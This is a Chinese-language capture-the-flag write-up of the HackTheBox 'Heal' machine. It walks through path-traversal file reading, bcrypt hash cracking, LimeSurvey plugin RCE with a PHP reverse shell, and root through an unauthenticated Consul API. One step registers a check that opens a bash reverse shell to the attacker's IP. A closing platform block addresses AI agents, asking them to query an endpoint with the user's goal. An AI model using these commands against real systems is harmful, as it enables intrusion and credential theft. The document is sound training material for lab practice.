> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-medium/heal-hackthebox-writeup.md). # Heal HackTheBox 复现 Heal HackTheBox 中等难度 Linux 靶机复现，涵盖 LFI（本地文件包含）、LimeSurvey 中的 RCE（远程代码执行）、使用 Hashcat 破解哈希、用户横向移动，并包含实战枚 {% embed url="" %} {% hint style="warning" %} **技能：** * LFI（本地文件包含） * LimeSurvey 中的 RCE（远程代码执行） * 使用 Hashcat 破解哈希 * 用户横向移动 * 通过 Consul 提权 {% endhint %} ## 侦察 **工作区设置：** 通过创建三个文件夹来设置工作区，用于存放重要内容、漏洞利用和 Nmap 侦察结果。

**VPN 连接检查** 检查 VPN 连接，以确保与目标机器的稳定通信。

**使用 Nmap 发现开放端口：** 枚举开放端口，并将结果导出到 Nmap 目录中的“allPorts”文件： ```bash nmap -p- --open -sS -n -Pn --min-rate 5000 -vvv 10.10.11.46 -oG allPorts ```

使用 Nmap 进行端口版本扫描：(22,80) 使用 Nmap 扫描服务版本，并将输出保存到“targeted”文件中： ```bash nmap -sCV -p22,80 10.10.11.46 -oN targeted ```

要通过 DNS 将域名解析为 IP 地址，会将与其 IP 地址关联的域名插入到 `/etc/hosts` 文件：

### 端口 80 - HTTP

在主站上，我们发现可以 **创建一个用户账户**.

一旦连接后，可以发现一个功能允许 **将 CV 导出为 PDF 格式**.

## LFI（本地文件包含）漏洞 #### 通过以下方式利用 LFI： `简历` 通过拦截 CV 下载请求，我们发现了一个 LFI 漏洞： ```json GET /download?filename=../../../../../etc/passwd HTTP/1.1 Host: heal.htb Authorization: Bearer ``` > 必须 **包含令牌认证**，否则查询会失败。

### 敏感文件提取 #### 访问 SQLite 数据库通过列出敏感文件，我们发现重定向到 `/storage/development.sqlite3`

该数据库已被下载，并提取出两个账户及其 **bcrypt 哈希**: ``` admin@heal.htb $2a$12$bLOjNMD13FW7vBJfHEZ5tu.inAHM/kxF.yTmbLkC8qg4iV5vHqDDO ralph@heal.htb $2a$12$dUZ/O7KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94VLvY9SWx1GCSZnG ```

### 哈希破解 #### 使用 Hashcat 使用 **Hashcat** 尝试用以下方式破解哈希： `rockyou.txt`: ```bash hashcat -m 3200 hash /usr/share/wordlists/rockyou.txt ``` > 结果：我们找到了以下用户的密码 **ralph**/ `ralph@heal.htb : 147258369`

### 发现子域名： `take-survey`

#### 将条目添加到 `/etc/hosts` 应用程序中出现了一个新的子域名。我们把它添加到 hosts 文件中 ## LimeSurvey CMS 漏洞 {% embed url="" %}

#### 访问管理员区域发现管理界面可通过以下 URL 访问： `http://take-survey.heal.htb/index.php/admin` 我们使用 Ralph 的凭据进行连接： * **用户名** : `ralph` * **密码** : `147258369`

我们发现所使用的 LimeSurvey 版本是 **6.6.4**，它存在一个 **远程代码执行（NCE）**.

### 通过恶意插件进行 RCE 利用 {% embed url="" %} 我们根据当前情况调整了操作脚本。

首先，我们创建了一个压缩文件，包含一个 `config.xml` 文件和一个 PHP shell 反向连接脚本： ```bash zip -r N4s1rl1.zip config.xml revshell.php ```

然后我们通过 LimeSurvey Web 界面安装了这个恶意插件。

将鼠标移到已安装插件上时，我们检测到了插件 ID。

在编辑脚本以包含该 ID 后，我们在 443 端口上执行： ```bash nc -nlvp 443 ``` 最后，我们通过 Python 执行了漏洞利用： ```bash python3 exploit.py http://take-survey.heal.htb ralph 147258369 80 ```

#### Linux 终端稳定化： ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` ## 横向移动到用户 ron 通过探索机器，我们发现了另一个用户 **ron**.

一个位于 `应用程序` 文件夹中的配置文件包含用于数据库访问的登录名和密码： * 用户名 = `db_user` * 密码 = `AdmiDi0_pA$$w0rd`

使用这些凭据，我们能够访问 **ron**的账户，从而使我们获得了 **用户 flag：user.txt**.

### user.txt 标志 :)

## **权限提升** ### 发现 8500 端口（Consul）查看开放端口时，我们找到了端口 **8500**，它对应于 Consul 的 Web 界面。

在上进行查询后 `127.0.0.1:8500/ui/`，我们找到了 Consul 的版本 **1.19.2**. ```bash curl 127.0.0.1:8500/ui/ ```

#### REST API 访问检查我们测试了 Consul REST API，以检查它是否可以在没有身份验证的情况下访问： ```bash curl http://127.0.0.1:8500/v1/agent/self ``` 我们得到的回答确认了该 API 是开放的。 ### 通过恶意检查进行利用我们使用带有恶意检查的服务记录，通过 bash 命令打开一个反向 shell 到我们的机器： ```bash nc -lvnp 4444 ``` #### 注册带有恶意检查的服务 Consul 允许通过 HTTP 请求动态注册服务。我们利用这一点创建了一个执行 bash 命令的“check”。 ```bash curl -X PUT http://127.0.0.1:8500/v1/agent/service/register -d '{ "Name": "pwned", "ID": "pwned", "Check": { "Args": ["/bin/bash", "-c", "bash -i >& /dev/tcp/10.10.14.192/4444 0>&1"], "Interval": "10s" } }' ``` 此载荷的作用： * `Check.Args[]`：包含一个 bash 命令，它会打开一个 **反向 shell**. * `Interval`：设置每 10 秒自动执行一次。运行此载荷后，我们成功获得了 root shell。

### root.txt 标志 :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-medium/heal-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.